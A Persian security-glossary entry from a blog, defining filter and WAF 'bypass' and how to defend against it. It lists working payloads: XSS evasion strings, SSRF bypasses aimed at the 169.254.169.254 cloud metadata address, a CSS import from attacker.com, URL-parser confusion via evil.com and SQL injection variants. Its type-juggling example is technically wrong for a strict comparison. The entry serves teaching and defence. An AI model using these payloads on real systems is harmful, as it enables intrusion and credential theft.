KavLabs
خانهبلاگ
KavLabs

یادداشت‌هایی از ذهن‌های کاوشگر، برای ذهن‌های کنجکاو

پرهام·پرهام·زال·زال·
· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·
نوشته‌هادسته‌بندی‌هاجستجوی پیشرفتهلاگ تغییرات

©۲٬۰۲۶ KavLabs — تمام حقوق محفوظ است

ساخته‌شده با عشق توسط پرهام و زال

واژه‌نامه
۰۷ اسفند ۱۴۰۴تکنیک‌های حملهمتوسطزبان: فارسی

دور زدن

متوسطنسخه انگلیسی

تکنیکی برای دور زدن کنترل‌های امنیتی، فیلترها یا محدودیت‌هایی که برای مسدود کردن فعالیت مخرب در نظر گرفته شده‌اند.

دور-زدنفرارامنیتفیلترwaf

تعریف کوتاه

دور زدن یعنی پیدا کردن یک راه هوشمندانه برای عبور از اقدامات امنیتی. اگر فیلتری "attack.com" را مسدود کند، ممکن است "att%61ck.com" (کدگذاری URL) یا "attack.com." (با نقطه) را امتحان کنی. امنیت وجود دارد، اما تو یک حفره پیدا کرده‌ای.

تعریف کامل

دور زدن تکنیکی است که کنترل‌های امنیتی را بدون شکستن مستقیم آنها دور می‌زند. شما قفل را از بین نمی‌برید — در دیگری پیدا می‌کنید.

اهداف رایج دور زدن:

  • WAF (فایروال برنامه وب)
  • اعتبارسنجی ورودی/فیلترها
  • مکانیسم‌های احراز هویت
  • محدودیت نرخ
  • محدودیت‌های IP
  • محدودیت‌های آپلود فایل
  • کنترل‌های دسترسی

دسته‌بندی دور زدن:

کدگذاری/مبهم‌سازی:

  • کدگذاری URL: <script> → %3Cscript%3E
  • کدگذاری دوگانه: < → %253C
  • یونیکد: < → \u003C
  • تغییر حروف: <ScRiPt>

نقص‌های منطقی:

  • شرایط رقابتی
  • آلودگی پارامتر
  • نوع‌سازی (type juggling)
  • نرمال‌سازی مسیر

سوءاستفاده از پروتکل:

  • قاچاق HTTP
  • DNS rebinding
  • تغییر مسیرهای SSRF

چرا مهم است

  • اقدامات امنیتی تنها زمانی مؤثر هستند که نتوان آنها را دور زد
  • تکنیک‌های دور زدن دائماً در حال تکامل هستند
  • یک دور زدن موفق می‌تواند کل زیرساخت امنیتی را بی‌اثر کند
  • دور زدن‌ها اغلب ساده‌تر از حملات مستقیم هستند

چگونه مهاجمان از آن استفاده می‌کنند

مثال دور زدن WAF:

WAF مسدود می‌کند: <script>alert(1)</script>

دور زدن‌ها:

html
1<script>alert(1)</script> ← مسدود شد
2<scr<script>ipt>alert(1)</script> ← ممکن است کار کند
3<img src=x onerror=alert(1)> ← جایگزین
4<svg/onload=alert(1)> ← وکتور SVG

دور زدن فیلتر SSRF:

مسدود شده: http://169.254.169.254

دور زدن‌ها:

bash
1http://169.254.169.254 ← مسدود شد
2http://169.254.169.254.nip.io ← دور زدن DNS
3http://0xA9FEA9FE ← IP هگزادسیمال
4http://[::ffff:169.254.169.254] ← IPv6
5http://169.254.169.254. ← نقطه پایانی
6http://①⑥⑨.②⑤④.①⑥⑨.②⑤④ ← ارقام یونیکد

دور زدن احراز هویت:

javascript
1// بررسی آسیب‌پذیر
2if (password === "admin123") {
3 login();
4}
5
6// دور زدن با type juggling
7password = true; // true == "admin123" ممکن است true باشد

چگونه تشخیص یا پیشگیری کنیم

پیشگیری:

  • لیست سفید > لیست سیاه
  • دفاع در عمق (لایه‌های متعدد)
  • متعارف‌سازی مناسب ورودی
  • بررسی نوع سخت‌گیرانه
  • نوشتن دقیق عبارت منظم
  • تست با بارهای دور زدن

دفاع‌های خاص:

پیشگیری از SSRF:

python
1# بد: لیست سیاه
2if "169.254.169.254" not in url:
3 fetch(url) # قابل دور زدن است
4
5# خوب: لیست سفید + بررسی رزولوشن DNS
6allowed_domains = ["example.com"]
7parsed = urlparse(url)
8if parsed.hostname in allowed_domains:
9 ip = socket.gethostbyname(parsed.hostname)
10 if not is_private_ip(ip):
11 fetch(url)

تشخیص:

  • ثبت تمام درخواست‌های فیلتر شده
  • نظارت بر الگوهای دور زدن:
    • کدگذاری بیش از حد
    • کاراکترهای غیرعادی
    • چندین تلاش ناموفق
    • موفقیت پس از چندین شکست
  • استفاده از WAF پیشرفته با ML
  • تست امنیتی منظم

باورهای غلط رایج

  • "WAF یعنی من ایمنم" - WAFها به طور منظم دور زده می‌شوند
  • "اعتبارسنجی ورودی کافی است" - نیاز به کدگذاری خروجی هم هست
  • "لیست سیاه خوب کار می‌کند" - شمارش همه ورودی‌های بد غیرممکن است
  • "دور زدن‌ها تئوری هستند" - به طور گسترده در حملات واقعی استفاده می‌شوند
  • "فیلترهای پیچیده بهتر هستند" - اغلب دور زدن‌های جدید ایجاد می‌کنند

مثال واقعی

دور زدن WAF CloudFlare (۲۰۱۹)

سایت محافظت شده <script> را مسدود کرد، اما اجازه داد:

html
1<style>@import'http://attacker.com/xss.css';</style>

نتیجه: اجرای XSS با وجود WAF.

دور زدن تجزیه‌گر URL (بسیاری از برنامه‌ها)

تجزیه‌گرهای مختلف در تفسیر URL اختلاف دارند:

bash
1http://evil.com@internal.com
2
3تجزیه‌گر A: "رفتن به internal.com"
4تجزیه‌گر B: "رفتن به evil.com"

اگر اعتبارسنج از تجزیه‌گر A استفاده کند و درخواست از تجزیه‌گر B → دور زدن.

دور زدن SSRF در Capital One

WAF قوانینی داشت، اما پیکربندی نادرست:

  • متدهای HTTP خاصی مجاز بودند
  • همه هدرها را بررسی نمی‌کرد
  • اعتبارسنجی پس از مسیریابی انجام می‌شد

مهاجم شکاف را پیدا کرد → SSRF کامل.

مثال‌های دور زدن OWASP Top 10 2021:

A01 (کنترل دسترسی):

  • تغییر user_id=123 به user_id=124 در بدنه POST
  • اضافه کردن پارامتر admin=true

A03 (تزریق):

  • WAF مسدود می‌کند ' OR 1=1--
  • تلاش ' OR 'a'='a یا ' OR 2>1--

اصطلاحات مرتبط

WAF, Filter, Firewall, Exploit, Encoding

منابع و مراجع

  • owasp.org/www-community/attacks/Filter_Evasion

مفاهیم مرتبط

فایروال برنامه‌های وب(WAF)

سیستم امنیتی که ترافیک وب رو بررسی می‌کنه و درخواست‌های مخرب رو قبل از رسیدن به سرور مسدود می‌کنه.

دیوار آتش(N/A)

سیستم امنیتی که ترافیک شبکه را بر اساس قوانین از پیش تعیین شده بررسی و کنترل می‌کند.

بهره‌برداری

یک قطعه کد یا تکنیک که از یک آسیب‌پذیری برای ایجاد رفتار ناخواسته سوءاستفاده می‌کند، مانند دسترسی غیرمجاز یا سرقت داده.